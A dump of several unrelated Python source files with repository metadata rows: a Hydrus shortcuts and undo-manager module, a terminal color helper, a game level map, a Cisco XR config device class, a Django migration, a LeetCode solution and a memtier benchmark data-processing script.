def __init__( self, name ):
HydrusSerialisable.SerialisableBaseNamed.__init__( self, name )
self._mouse_actions = {}
self._keyboard_actions = {}
def _ConvertActionToSerialisableAction( self, action ):
( service_key, data ) = action
if service_key is None:
return [ service_key, data ]
else:
serialisable_service_key = service_key.encode( 'hex' )
return [ serialisable_service_key, data ]
def _ConvertSerialisableActionToAction( self, serialisable_action ):
( serialisable_service_key, data ) = serialisable_action
if serialisable_service_key is None:
return ( serialisable_service_key, data ) # important to return tuple, as serialisable_action is likely a list
else:
service_key = serialisable_service_key.decode( 'hex' )
return ( service_key, data )
def _GetSerialisableInfo( self ):
serialisable_mouse_actions = []
for ( ( modifier, mouse_button ), action ) in self._mouse_actions.items():
serialisable_action = self._ConvertActionToSerialisableAction( action )
serialisable_mouse_actions.append( ( modifier, mouse_button, serialisable_action ) )
serialisable_keyboard_actions = []
for ( ( modifier, key ), action ) in self._keyboard_actions.items():
serialisable_action = self._ConvertActionToSerialisableAction( action )
serialisable_keyboard_actions.append( ( modifier, key, serialisable_action ) )
return ( serialisable_mouse_actions, serialisable_keyboard_actions )
def _InitialiseFromSerialisableInfo( self, serialisable_info ):
( serialisable_mouse_actions, serialisable_keyboard_actions ) = serialisable_info
self._mouse_actions = {}
for ( modifier, mouse_button, serialisable_action ) in serialisable_mouse_actions:
action = self._ConvertSerialisableActionToAction( serialisable_action )
self._mouse_actions[ ( modifier, mouse_button ) ] = action
self._keyboard_actions = {}
for ( modifier, key, serialisable_action ) in serialisable_keyboard_actions:
action = self._ConvertSerialisableActionToAction( serialisable_action )
self._keyboard_actions[ ( modifier, key ) ] = action
def ClearActions( self ):
self._mouse_actions = {}
self._keyboard_actions = {}
def DeleteKeyboardAction( self, modifier, key ):
if ( modifier, key ) in self._keyboard_actions:
del self._keyboard_actions[ ( modifier, key ) ]
def DeleteMouseAction( self, modifier, mouse_button ):
if ( modifier, mouse_button ) in self._mouse_actions:
del self._mouse_actions[ ( modifier, mouse_button ) ]
def GetKeyboardAction( self, modifier, key ):
if ( modifier, key ) in self._keyboard_actions:
return self._keyboard_actions[ ( modifier, key ) ]
else:
return None
def GetMouseAction( self, modifier, mouse_button ):
if ( modifier, mouse_button ) in self._mouse_actions:
return self._mouse_actions[ ( modifier, mouse_button ) ]
else:
return None
def IterateKeyboardShortcuts( self ):
for ( ( modifier, key ), action ) in self._keyboard_actions.items(): yield ( ( modifier, key ), action )
def IterateMouseShortcuts( self ):
for ( ( modifier, mouse_button ), action ) in self._mouse_actions.items(): yield ( ( modifier, mouse_button ), action )
def SetKeyboardAction( self, modifier, key, action ):
self._keyboard_actions[ ( modifier, key ) ] = action
def SetMouseAction( self, modifier, mouse_button, action ):
self._mouse_actions[ ( modifier, mouse_button ) ] = action
HydrusSerialisable.SERIALISABLE_TYPES_TO_OBJECT_TYPES[ HydrusSerialisable.SERIALISABLE_TYPE_SHORTCUTS ] = Shortcuts
class UndoManager( object ):
def __init__( self ):
self._commands = []
self._inverted_commands = []
self._current_index = 0
self._lock = threading.Lock()
HydrusGlobals.client_controller.sub( self, 'Undo', 'undo' )
HydrusGlobals.client_controller.sub( self, 'Redo', 'redo' )
def _FilterServiceKeysToContentUpdates( self, service_keys_to_content_updates ):
filtered_service_keys_to_content_updates = {}
for ( service_key, content_updates ) in service_keys_to_content_updates.items():
filtered_content_updates = []
for content_update in content_updates:
( data_type, action, row ) = content_update.ToTuple()
if data_type == HC.CONTENT_TYPE_FILES:
if action in ( HC.CONTENT_UPDATE_ADD, HC.CONTENT_UPDATE_DELETE, HC.CONTENT_UPDATE_UNDELETE, HC.CONTENT_UPDATE_RESCIND_PETITION ): continue
elif data_type == HC.CONTENT_TYPE_MAPPINGS:
if action in ( HC.CONTENT_UPDATE_RESCIND_PETITION, HC.CONTENT_UPDATE_ADVANCED ): continue
else: continue
filtered_content_update = HydrusData.ContentUpdate( data_type, action, row )
filtered_content_updates.append( filtered_content_update )
if len( filtered_content_updates ) > 0:
filtered_service_keys_to_content_updates[ service_key ] = filtered_content_updates
return filtered_service_keys_to_content_updates
def _InvertServiceKeysToContentUpdates( self, service_keys_to_content_updates ):
inverted_service_keys_to_content_updates = {}
for ( service_key, content_updates ) in service_keys_to_content_updates.items():
inverted_content_updates = []
for content_update in content_updates:
( data_type, action, row ) = content_update.ToTuple()
inverted_row = row
if data_type == HC.CONTENT_TYPE_FILES:
if action == HC.CONTENT_UPDATE_ARCHIVE: inverted_action = HC.CONTENT_UPDATE_INBOX
elif action == HC.CONTENT_UPDATE_INBOX: inverted_action = HC.CONTENT_UPDATE_ARCHIVE
elif action == HC.CONTENT_UPDATE_PEND: inverted_action = HC.CONTENT_UPDATE_RESCIND_PEND
elif action == HC.CONTENT_UPDATE_RESCIND_PEND: inverted_action = HC.CONTENT_UPDATE_PEND
elif action == HC.CONTENT_UPDATE_PETITION:
inverted_action = HC.CONTENT_UPDATE_RESCIND_PETITION
( hashes, reason ) = row
inverted_row = hashes
elif data_type == HC.CONTENT_TYPE_MAPPINGS:
if action == HC.CONTENT_UPDATE_ADD: inverted_action = HC.CONTENT_UPDATE_DELETE
elif action == HC.CONTENT_UPDATE_DELETE: inverted_action = HC.CONTENT_UPDATE_ADD
elif action == HC.CONTENT_UPDATE_PEND: inverted_action = HC.CONTENT_UPDATE_RESCIND_PEND
elif action == HC.CONTENT_UPDATE_RESCIND_PEND: inverted_action = HC.CONTENT_UPDATE_PEND
elif action == HC.CONTENT_UPDATE_PETITION:
inverted_action = HC.CONTENT_UPDATE_RESCIND_PETITION
( tag, hashes, reason ) = row
inverted_row = ( tag, hashes )
inverted_content_update = HydrusData.ContentUpdate( data_type, inverted_action, inverted_row )
inverted_content_updates.append( inverted_content_update )
inverted_service_keys_to_content_updates[ service_key ] = inverted_content_updates
return inverted_service_keys_to_content_updates
def AddCommand( self, action, *args, **kwargs ):
with self._lock:
inverted_action = action
inverted_args = args
inverted_kwargs = kwargs
if action == 'content_updates':
( service_keys_to_content_updates, ) = args
service_keys_to_content_updates = self._FilterServiceKeysToContentUpdates( service_keys_to_content_updates )
if len( service_keys_to_content_updates ) == 0: return
inverted_service_keys_to_content_updates = self._InvertServiceKeysToContentUpdates( service_keys_to_content_updates )
if len( inverted_service_keys_to_content_updates ) == 0: return
inverted_args = ( inverted_service_keys_to_content_updates, )
else: return
self._commands = self._commands[ : self._current_index ]
self._inverted_commands = self._inverted_commands[ : self._current_index ]
self._commands.append( ( action, args, kwargs ) )
self._inverted_commands.append( ( inverted_action, inverted_args, inverted_kwargs ) )
self._current_index += 1
HydrusGlobals.client_controller.pub( 'notify_new_undo' )
def GetUndoRedoStrings( self ):
with self._lock:
( undo_string, redo_string ) = ( None, None )
if self._current_index > 0:
undo_index = self._current_index - 1
( action, args, kwargs ) = self._commands[ undo_index ]
if action == 'content_updates':
( service_keys_to_content_updates, ) = args
undo_string = 'undo ' + ConvertServiceKeysToContentUpdatesToPrettyString( service_keys_to_content_updates )
if len( self._commands ) > 0 and self._current_index < len( self._commands ):
redo_index = self._current_index
( action, args, kwargs ) = self._commands[ redo_index ]
if action == 'content_updates':
( service_keys_to_content_updates, ) = args
redo_string = 'redo ' + ConvertServiceKeysToContentUpdatesToPrettyString( service_keys_to_content_updates )
return ( undo_string, redo_string )
def Undo( self ):
action = None
with self._lock:
if self._current_index > 0:
self._current_index -= 1
( action, args, kwargs ) = self._inverted_commands[ self._current_index ]
if action is not None:
HydrusGlobals.client_controller.WriteSynchronous( action, *args, **kwargs )
HydrusGlobals.client_controller.pub( 'notify_new_undo' )
def Redo( self ):
action = None
with self._lock:
if len( self._commands ) > 0 and self._current_index < len( self._commands ):
( action, args, kwargs ) = self._commands[ self._current_index ]
self._current_index += 1
if action is not None:
HydrusGlobals.client_controller.WriteSynchronous( action, *args, **kwargs )
HydrusGlobals.client_controller.pub( 'notify_new_undo' )
def GetShortcutFromEvent( event ):
modifier = wx.ACCEL_NORMAL
if event.AltDown(): modifier = wx.ACCEL_ALT
elif event.CmdDown(): modifier = wx.ACCEL_CTRL
elif event.ShiftDown(): modifier = wx.ACCEL_SHIFT
key = event.KeyCode
return ( modifier, key )
class ClientServiceIdentifier( HydrusData.HydrusYAMLBase ):
yaml_tag = u'!ClientServiceIdentifier'
def __init__( self, service_key, service_type, name ):
HydrusData.HydrusYAMLBase.__init__( self )
self._service_key = service_key
self._type = service_type
self._name = name
def __eq__( self, other ): return self.__hash__() == other.__hash__()
def __hash__( self ): return self._service_key.__hash__()
def __ne__( self, other ): return self.__hash__() != other.__hash__()
def __repr__( self ): return 'Client Service Identifier: ' + HydrusData.ToUnicode( ( self._name, HC.service_string_lookup[ self._type ] ) )
def GetInfo( self ): return ( self._service_key, self._type, self._name )
def GetName( self ): return self._name
def GetServiceKey( self ): return self._service_key
def GetServiceType( self ): return self._type
| [
"hydrus.admin@gmail.com"
] | hydrus.admin@gmail.com |
8303d30c8032f5f4d4810c52bb87dece4b05a65d | 08a1d871f4be9ea61497751845a5ed9abe2a1012 | /farbox_bucket/utils/cli_color.py | 5819c5e25a1ad977f067ed1c0eba565f31526df8 | [
"MIT",
"LicenseRef-scancode-other-permissive"
] | permissive | itfanr/FarBox | 5bfff706439a6a223f531cfa36100ac21ed4878b | daeda4f5080467f1ddf4b60424b8562f914756bd | refs/heads/master | 2023-04-19T07:23:28.824231 | 2021-05-07T02:29:06 | 2021-05-07T02:29:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,422 | py | #coding: utf8
from __future__ import absolute_import, print_function
#CSI="\x1B["
#RED = CSI+"31;40m"
#GREEN = CSI+'32;40m'
#RESET =CSI+"m"
FLAGS = dict(
RESET = "\x1B[0m",
BOLD = "\x1B[1m",
DIM = "\x1B[2m",
UNDER = "\x1B[4m",
REVERSE = "\x1B[7m",
HIDE = "\x1B[8m",
CLEARSCREEN = "\x1B[2J",
CLEARLINE = "\x1B[2K",
BLACK = "\x1B[30m",
RED = "\x1B[31m",
GREEN = "\x1B[32m",
YELLOW = "\x1B[33m",
BLUE = "\x1B[34m",
MAGENTA = "\x1B[35m",
CYAN = "\x1B[36m",
WHITE = "\x1B[37m",
BBLACK = "\x1B[40m",
BRED = "\x1B[41m",
BGREEN = "\x1B[42m",
BYELLOW = "\x1B[43m",
BBLUE = "\x1B[44m",
BMAGENTA = "\x1B[45m",
BCYAN = "\x1B[46m",
BWHITE = "\x1B[47m",
NEWLINE = "\r\n\x1B[0m",
)
def print_with_color(strings, color='red', end='\r\n'):
color = FLAGS.get(color.upper())
if color:
print(color + strings + FLAGS['RESET'], end=end)
else:
print(strings)
def print_colorful_parts(string_parts, end=''):
for strings, color in string_parts:
print_with_color(strings, color, end)
print(FLAGS['NEWLINE'], end='')
if __name__ == '__main__':
print_with_color('hello', 'green', end=' ')
print_with_color('hello', 'blue')
print_colorful_parts(
[('hello', 'magenta'),
('world', 'yellow'),
('hello', 'red'),
('world', 'cyan')],
end=' '
)
| [
"hepochen@gmail.com"
] | hepochen@gmail.com |
40ddc8421d44905539dea7b92a24c89d750a0063 | 294fc074131d08ad4d602d1c5dc672674b1d0cc6 | /src/level/level3.py | 8e07c90e43be2e812740ec9c9aa44799de09999c | [] | no_license | railsdev/treasure | 8a15f757e988a86bfd52ade9c12d9b73db22c77e | 603b3719c7aa14aad436b8ee7cf08c8991ac12cd | refs/heads/master | 2019-01-02T08:19:37.840729 | 2012-05-16T21:20:10 | 2012-05-16T21:20:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,167 | py | terrain = [
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
"X X ",
" X ",
" X ",
" X ",
" X X ",
" X ",
" X ",
" X ",
" X X",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
" X ",
]
| [
"nathan.stocks@gmail.com"
] | nathan.stocks@gmail.com |
701af4a6dea98585d23863e6340949745d1980e6 | 73758dde83d1a1823c103e1a4ba71e7c95168f71 | /nsd1912/py02/day02/myfunc.py | 684e88105205263137758b3b560f5844088f2eac | [] | no_license | tonggh220/md_5_nsd_notes | 07ffdee7c23963a7a461f2a2340143b0e97bd9e1 | a58a021ad4c7fbdf7df327424dc518f4044c5116 | refs/heads/master | 2023-07-02T01:34:38.798929 | 2021-05-12T08:48:40 | 2021-05-12T08:48:40 | 393,885,415 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 271 | py | def func1(x):
if x == 1:
return 1
return x * func1(x- 1)
# 5 * func1(4)
# 5 * 4 * func1(3)
# 5 * 4 * 3 * func1(2)
# 5 * 4 * 3 * 2 * func1(1)
# 5 * 4 * 3 * 2 * 1
if __name__ == '__main__':
print(func1(5))
| [
"zhangzg@tedu.cn"
] | zhangzg@tedu.cn |
2c3ddf59ef5bbc9b91706cc3b505f3e28ba85471 | 1ade02a8e0c6d7e442c9d9041f15518d22da3923 | /w8/mock_phase2/run/core/controllers/generic.py | 4478b8a5012a51fa7a71dcc21a18532f1804d5fc | [] | no_license | fodisi/ByteAcademy-Bootcamp | 7980b80636a36db6da3e0fc0e529fbc6b8e097e0 | d53e3f4864f6cba1b85e806c29b01c48e3c2e81d | refs/heads/master | 2020-03-19T12:55:31.489638 | 2018-07-25T16:19:19 | 2018-07-25T16:19:19 | 136,550,128 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 285 | py | #!/usr/bin/env python3
from flask import Blueprint, render_template
controller = Blueprint('generic', __name__)
@controller.route('/<product_name>')
def home(product_name):
# obj = model.get_product(product_name)
return render_template('index.html', json_obj=obj.to_json)
| [
"fodisi@users.noreply.github.com"
] | fodisi@users.noreply.github.com |
8da80ee62fb2a9c9ee57874efa1a8a69dc421479 | 694d57c3e512ce916269411b51adef23532420cd | /leetcode/23merge_k_sorted_lists.py | 76d8e6ea698631516ea4cfdd1e87899d4de8cc45 | [] | no_license | clovery410/mycode | 5541c3a99962d7949832a0859f18819f118edfba | e12025e754547d18d5bb50a9dbe5e725fd03fd9c | refs/heads/master | 2021-05-16T02:46:47.996748 | 2017-05-10T23:43:50 | 2017-05-10T23:43:50 | 39,235,141 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,368 | py | import heapq
class ListNode(object):
def __init__(self, x):
self.val = x
self.next = None
class Solution(object):
def mergeKLists(self, lists):
new_head = None
heap = []
for node in lists:
if node:
heapq.heappush(heap, (node.val, node))
if heap:
new_head = heapq.heappop(heap)[1]
if new_head.next:
heapq.heappush(heap, (new_head.next.val, new_head.next))
pre_node = new_head
while heap:
curr_node = heapq.heappop(heap)[1]
if curr_node.next:
heapq.heappush(heap, (curr_node.next.val, curr_node.next))
pre_node.next = curr_node
pre_node = curr_node
return new_head
if __name__ == '__main__':
node1 = ListNode(1)
node2 = ListNode(2)
node3 = ListNode(3)
node4 = ListNode(4)
node5 = ListNode(5)
node6 = ListNode(6)
node1.next = node3
node3.next = node5
node2.next = node4
node4.next = node6
sol = Solution()
new_head = sol.mergeKLists([node1, node2])
print new_head.val
print new_head.next.val
print new_head.next.next.val
print new_head.next.next.next.val
print new_head.next.next.next.next.val
print new_head.next.next.next.next.next.val
print sol.mergeKLists([[]])
| [
"seasoul410@gmail.com"
] | seasoul410@gmail.com |
c9dd0b15f24487f9534251c6795772a3bbb8f2a1 | 162cb21fbc96e8b8ca595ee65b740624d8c8848e | /assignment01/ass1Q1.py | 6ec7a93f46f3f6868b2af317c7bb5ee153d59acb | [] | no_license | BansiddhaBirajdar/python | b5766ca702a83fb3b0dab3218a00ebbabcef67f9 | f4b4b6804cd05e277f9d9d486d72c50c1afb2219 | refs/heads/master | 2022-04-10T19:53:17.119366 | 2020-03-27T15:44:14 | 2020-03-27T15:44:14 | 250,241,920 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 293 | py | '''Program to divide two numbers'''
def main():
ino1=int(input("Enter the no1::"))
ino2=int(input("Enter the no2::"))
if(ino2<=0):
print("Please enter +ve no")
return
else:
print("Division of ::",ino1//ino2);
if __name__ == "__main__":
main() | [
"bansi.birajdar7@gmail.com"
] | bansi.birajdar7@gmail.com |
4b08becbc3b90a3cc500e0fe33620b6680b22c96 | 8b52ab06e6a767fc1e87a391ea0c2e53fff09049 | /untitled/venv/bin/pip3.7 | 6bddfa304559245cf3253422e1f47012ccfc746a | [] | no_license | SSourceFile/pykuaishou | e96b759183d7f0a6bd0aa9262d02930a5f05700c | b1d70385dcee82956276f26319971202cd5bee5b | refs/heads/main | 2023-02-20T03:40:14.709548 | 2021-01-20T10:41:17 | 2021-01-20T10:41:17 | 331,274,220 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 406 | 7 | #!/Users/hmh/PycharmProjects/untitled/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3.7'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==19.0.3', 'console_scripts', 'pip3.7')()
)
| [
"huaminghui@hzed.com"
] | huaminghui@hzed.com |
046e8b44c06baf837f8880c3c055e41d60a62cb0 | 715f06778489ec5f7670771a1f24cc9c6e7d3803 | /labber/cisco/xr_device.py | d479a8c0c9186cf2d4e58b26f15a1e281082e767 | [] | no_license | xv0x7c0/labber | a04bf7fdc5c2e5c6f52da5f61c5398912dc78d74 | a653af0a0d9e5ebf5b2e9420edc7726b56c7db36 | refs/heads/master | 2021-06-17T01:39:36.290288 | 2019-06-02T13:59:21 | 2019-06-02T13:59:21 | 188,347,006 | 0 | 0 | null | 2021-03-25T22:45:34 | 2019-05-24T03:35:50 | Python | UTF-8 | Python | false | false | 713 | py | import netdev
from labber.device import Device
class XRDevice(Device):
device_type = "cisco_ios_xr"
_scp_path = "disk0:/labber_replace_config.cfg"
async def get_config(self):
async with netdev.create(**dict(self)) as node:
config = await node.send_command("show run")
return [self, "\n".join(config.splitlines()[3:])]
async def replace_config(self):
async with netdev.create(**dict(self)) as node:
await node.send_command("configure exclusive")
await node.send_command("load disk0:labber_replace_config.cfg")
await node.send_command("commit replace", pattern=r"\[no\]\:")
await node.send_command("yes")
| [
"13061441+xv0x7c0@users.noreply.github.com"
] | 13061441+xv0x7c0@users.noreply.github.com |
515c154e112ed44885fb11d8cfbd74d1c10c102d | 1b070c5fabfe7e804eac4c7d706f6ccdf6b29ed0 | /partners/migrations/0005_auto_20200620_0044.py | bfe6abd78feb964304d45149cd068cdcdae946a8 | [
"MIT"
] | permissive | cZachJohnson/My-Business | ef80dae6458c2fb7a08465d29e32f9405e52e43d | 792bb13a5b296260e5de7e03fba6445a13922851 | refs/heads/master | 2023-08-25T06:51:39.330270 | 2021-10-25T01:20:34 | 2021-10-25T01:20:34 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 687 | py | # Generated by Django 2.2.12 on 2020-06-20 00:44
import datetime
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
("partners", "0004_auto_20200609_0514"),
]
operations = [
migrations.AddField(
model_name="partner",
name="created_at",
field=models.DateTimeField(
auto_now_add=True, default=datetime.datetime(1970, 1, 1, 0, 0)
),
preserve_default=False,
),
migrations.AddField(
model_name="partner",
name="updated_at",
field=models.DateTimeField(auto_now=True),
),
]
| [
"yasserth19@gmail.com"
] | yasserth19@gmail.com |
32313735f8656809d14e5f294203dbd9ffb84b68 | 39fa481b356c5e8df77c7459330294b30b45b845 | /process_memtier_data_experiments_gets.py | 3e88725c279a620969e78fd7d3d66062dbdc7554 | [] | no_license | jovan-ioanis/asl-project-2017 | bd32d4220b23163bcb1de7b99bfc5c852311b0b4 | 079b94e0119bd6d71b5ccf8ecf0ee4a085d69722 | refs/heads/master | 2021-04-06T20:46:30.637686 | 2018-06-14T10:25:56 | 2018-06-14T10:25:56 | 125,279,638 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 13,996 | py | """
ASL project - fall 2017
author: Jovan Nikolic
Processes json log file produced by memtiers
"""
import json
import numpy as np
import csv
plots_base_name = "plots/experiment_gets/"
big_output_path_base_name = "aggregated_data/experiment_gets/"
file_base_name = "data/experiment_gets/"
csv_file_name = "client_timings_"
json_file_base_name = "json_output_file_"
throughput_literal = "Ops/sec"
hits_literal = "Hits/sec"
latency_literal = "Latency"
msec_literal = "<=msec"
percentage_literal = "percent"
suffixes = ["sharded", "nonsharded"]
# experimental setup
memtier_vms = 3
memtier_instances_per_vm = 2
num_threads_per_instance = 1
virtual_clients_pt = 2
worker_threads = 64
repetitions = 3
num_keys = [1, 3, 6, 9]
titles = ["response_time", "25th", "50th", "75th", "90th", "99th"]
percentiles = [25.0, 50.0, 75.0, 90.0, 99.0]
metrics = ["mean", "std"]
tt = ["percent", "<=msec"]
runtime = 90
all_data = {}
def make_filename(instance, keys, rep, index, vm):
chosen_suffix = suffixes[index]
return file_base_name + json_file_base_name + "inst" + str(instance) + "_cpt" + str(virtual_clients_pt) + \
"_wt" + str(worker_threads) + "_rep" + str(rep) + "_S0-G10" + "_vm" + str(vm) + "_" + \
chosen_suffix + "_keys" + str(keys) + ".json"
def read_jsons():
for s, suffix in enumerate(suffixes):
all_data[suffix] = {}
for keys in num_keys:
all_data[suffix][keys] = {}
for rep in range(repetitions):
current_rep = rep + 1
all_data[suffix][keys][rep] = {}
for vm_id in range(1, memtier_vms + 1):
all_data[suffix][keys][rep][vm_id] = {}
for inst in range(1, memtier_instances_per_vm + 1):
path = make_filename(inst, keys, current_rep, s, vm_id)
with open(path) as json_file:
json_data = json.load(json_file)
all_data[suffix][keys][rep][vm_id][inst] = json_data
json_file.close()
def process_response_time_and_percentiles():
full_data = {}
for suffix in suffixes:
full_data[suffix] = {}
for keys in num_keys:
full_data[suffix][keys] = {}
for rep in range(repetitions):
full_data[suffix][keys][rep] = {}
resp_time = []
p_25th = []
p_50th = []
p_75th = []
p_90th = []
p_99th = []
for vm_id in range(1, memtier_vms + 1):
for inst in range(1, memtier_instances_per_vm + 1):
chosen_msecs = [0.0, 0.0, 0.0, 0.0, 0.0]
diffs = [10000, 10000, 10000, 10000, 10000]
resp_time.append(all_data[suffix][keys][rep][vm_id][inst]["ALL STATS"]["Gets"][latency_literal])
histogram = all_data[suffix][keys][rep][vm_id][inst]["ALL STATS"]["GET"]
for i in range(len(histogram)):
field = histogram[i]
for k, percentile in enumerate(percentiles):
if abs((int(field[percentage_literal]) - percentile)) < diffs[k]:
diffs[k] = abs(int(field[percentage_literal]) - percentile)
chosen_msecs[k] = field[msec_literal]
p_25th.append(chosen_msecs[0])
p_50th.append(chosen_msecs[1])
p_75th.append(chosen_msecs[2])
p_90th.append(chosen_msecs[3])
p_99th.append(chosen_msecs[4])
print(diffs)
full_data[suffix][keys][rep][titles[0]] = np.mean(np.asarray(resp_time))
full_data[suffix][keys][rep][titles[1]] = np.mean(np.asarray(p_25th))
full_data[suffix][keys][rep][titles[2]] = np.mean(np.asarray(p_50th))
full_data[suffix][keys][rep][titles[3]] = np.mean(np.asarray(p_75th))
full_data[suffix][keys][rep][titles[4]] = np.mean(np.asarray(p_90th))
full_data[suffix][keys][rep][titles[5]] = np.mean(np.asarray(p_99th))
return full_data
def make_histograms():
broken_at = []
histograms = {}
for suffix in suffixes:
histograms[suffix] = {}
for keys in num_keys:
histograms[suffix][keys] = {}
for rep in range(repetitions):
histograms[suffix][keys][rep] = {}
for vm_id in range(1, memtier_vms + 1):
histograms[suffix][keys][rep][vm_id] = {}
for inst in range(1, memtier_instances_per_vm + 1):
histograms[suffix][keys][rep][vm_id][inst] = {}
p = []
m = []
hist = all_data[suffix][keys][rep][vm_id][inst]["ALL STATS"]["GET"]
xput = float(all_data[suffix][keys][rep][vm_id][inst]["ALL STATS"]["Gets"][throughput_literal])
for i in range(len(hist)):
p.append(float(format(hist[i][tt[0]], '.2f')) * xput * runtime / 100)
m.append(float(format(hist[i][tt[1]], '.2f')))
buckets = []
requests = []
step = 0.1
start = 0
end = start + step
last_saved_jobs = 0
iter = 0
while True:
if round(m[iter], 2) == round(end, 2):
buckets.append(round(end, 2))
requests.append(p[iter] - last_saved_jobs)
last_saved_jobs = p[iter]
start = end
end = start + step
if round(m[iter], 2) > round(end, 2):
buckets.append(round(end, 2))
requests.append(0)
start = end
end = start + step
else:
iter += 1
if iter >= len(m) or round(m[iter], 2) >= 15:
broken_at.append(p[iter] * 100 / (xput * runtime))
break
print("Total requests: " + str(np.sum(np.asarray(requests))) +
" and via throughput: " + str(xput * runtime) +
" which is " + str((xput * runtime - np.sum(np.asarray(requests))) * 100 /(xput * runtime)) + "% off")
histograms[suffix][keys][rep][vm_id][inst][tt[0]] = requests
histograms[suffix][keys][rep][vm_id][inst][tt[1]] = buckets
print(broken_at)
hist_per_rep = {}
for suffix in suffixes:
hist_per_rep[suffix] = {}
for keys in num_keys:
hist_per_rep[suffix][keys] = {}
for rep in range(repetitions):
hist_per_rep[suffix][keys][rep] = {}
hist_per_rep[suffix][keys][rep][tt[0]] = []
for vm_id in range(1, memtier_vms + 1):
for inst in range(1, memtier_instances_per_vm + 1):
buckets = histograms[suffix][keys][rep][vm_id][inst][tt[1]]
requests = histograms[suffix][keys][rep][vm_id][inst][tt[0]]
if tt[1] not in hist_per_rep[suffix][keys][rep]:
hist_per_rep[suffix][keys][rep][tt[1]] = buckets
for k in range(len(requests)):
if k >= len(hist_per_rep[suffix][keys][rep][tt[0]]):
hist_per_rep[suffix][keys][rep][tt[0]].append(requests[k])
else:
hist_per_rep[suffix][keys][rep][tt[0]][k] += requests[k]
print_hists_per_rep(hist_per_rep)
final_buckets = hist_per_rep[suffixes[0]][num_keys[2]][1][tt[1]]
hist_final = {}
for suffix in suffixes:
hist_final[suffix] = {}
for keys in num_keys:
hist_final[suffix][keys] = {}
hist_final[suffix][keys][metrics[0]] = [] #mean
hist_final[suffix][keys][metrics[1]] = [] #std
for z in range(len(final_buckets)):
points = [hist_per_rep[suffix][keys][0][tt[0]][z],
hist_per_rep[suffix][keys][1][tt[0]][z],
hist_per_rep[suffix][keys][2][tt[0]][z]]
hist_final[suffix][keys][metrics[0]].append(np.mean(np.asarray(points)))
hist_final[suffix][keys][metrics[1]].append(np.std(np.asarray(points)))
print_final_hists(hist_final, final_buckets)
def print_final_hists(hist_final, final_buckets):
header = ["#Buckets",
"Mean jobs - Keys 1", "Std jobs - Keys 1",
"Mean jobs - Keys 3", "Std jobs - Keys 3",
"Mean jobs - Keys 6", "Std jobs - Keys 6",
"Mean jobs - Keys 9", "Std jobs - Keys 9"]
for suffix in suffixes:
path = plots_base_name + "histograms_" + suffix + ".csv"
with open(path, 'w') as csv_file:
writer = csv.DictWriter(csv_file, fieldnames=header)
writer.writeheader()
for row in range(len(final_buckets)):
one_row = {}
i = 0
one_row[header[i]] = final_buckets[row]
i += 1
for keys in num_keys:
for metric in metrics:
one_row[header[i]] = hist_final[suffix][keys][metric][row]
i += 1
writer.writerow(one_row)
csv_file.close()
def print_hists_per_rep(hist_per_rep):
header = ["#Buckets",
"Keys 1 - rep 1", "Keys 1 - rep 2", "Keys 1 - rep 3",
"Keys 3 - rep 1", "Keys 3 - rep 2", "Keys 3 - rep 3",
"Keys 6 - rep 1", "Keys 6 - rep 2", "Keys 6 - rep 3",
"Keys 9 - rep 1", "Keys 9 - rep 2", "Keys 9 - rep 3"]
for suffix in suffixes:
path = big_output_path_base_name + "histograms_" + suffix + ".csv"
buckets = hist_per_rep[suffix][9][1][tt[1]]
with open(path, 'w') as csv_file:
writer = csv.DictWriter(csv_file, fieldnames=header)
writer.writeheader()
for row in range(len(buckets)):
one_row = {}
i = 0
one_row[header[i]] = buckets[row]
i += 1
for keys in num_keys:
for rep in range(repetitions):
one_row[header[i]] = hist_per_rep[suffix][keys][rep][tt[0]][row]
i += 1
writer.writerow(one_row)
csv_file.close()
def process_final(full_data):
final_data = {}
for suffix in suffixes:
final_data[suffix] = {}
for keys in num_keys:
final_data[suffix][keys] = {}
for title in titles:
final_data[suffix][keys][title] = {}
l1 = []
for rep in range(repetitions):
l1.append(full_data[suffix][keys][rep][title])
final_data[suffix][keys][title][metrics[0]] = np.mean(np.asarray(l1))
final_data[suffix][keys][title][metrics[1]] = np.std(np.asarray(l1))
return final_data
def print_final_data(index, final_data):
header = ["#Keys",
"Mean Response Time [ms]", "Std Response Time",
"Mean 25th percentile [ms]", "Std 25th percentile",
"Mean 50th percentile [ms]", "Std 50th percentile",
"Mean 75th percentile [ms]", "Std 75th percentile",
"Mean 90th percentile [ms]", "Std 90th percentile",
"Mean 99th percentile [ms]", "Std 99th percentile"]
path = plots_base_name + "response_time_and_percentiles_" + suffixes[index] + ".csv"
with open(path, 'w') as csv_file:
writer = csv.DictWriter(csv_file, fieldnames=header)
writer.writeheader()
for row in range(len(num_keys)):
one_row = {}
i = 0
one_row[header[i]] = num_keys[row]
i += 1
for title in titles:
for metric in metrics:
one_row[header[i]] = final_data[suffixes[index]][num_keys[row]][title][metric]
i += 1
writer.writerow(one_row)
csv_file.close()
def print_csv_all_reps(index, full_data):
header = ["#Keys"]
for title in titles:
for rep in range(repetitions):
current_rep = rep + 1
header.append(title + "_rep" + str(current_rep))
path = big_output_path_base_name + "all_" + suffixes[index] + ".csv"
with open(path, 'w') as csv_file:
writer = csv.DictWriter(csv_file, fieldnames=header)
writer.writeheader()
for row in range(len(num_keys)):
one_row = {}
i = 0
one_row[header[i]] = num_keys[row]
i += 1
for title in titles:
for rep in range(repetitions):
one_row[header[i]] = full_data[suffixes[index]][num_keys[row]][rep][title]
i += 1
writer.writerow(one_row)
csv_file.close()
def main():
read_jsons()
make_histograms()
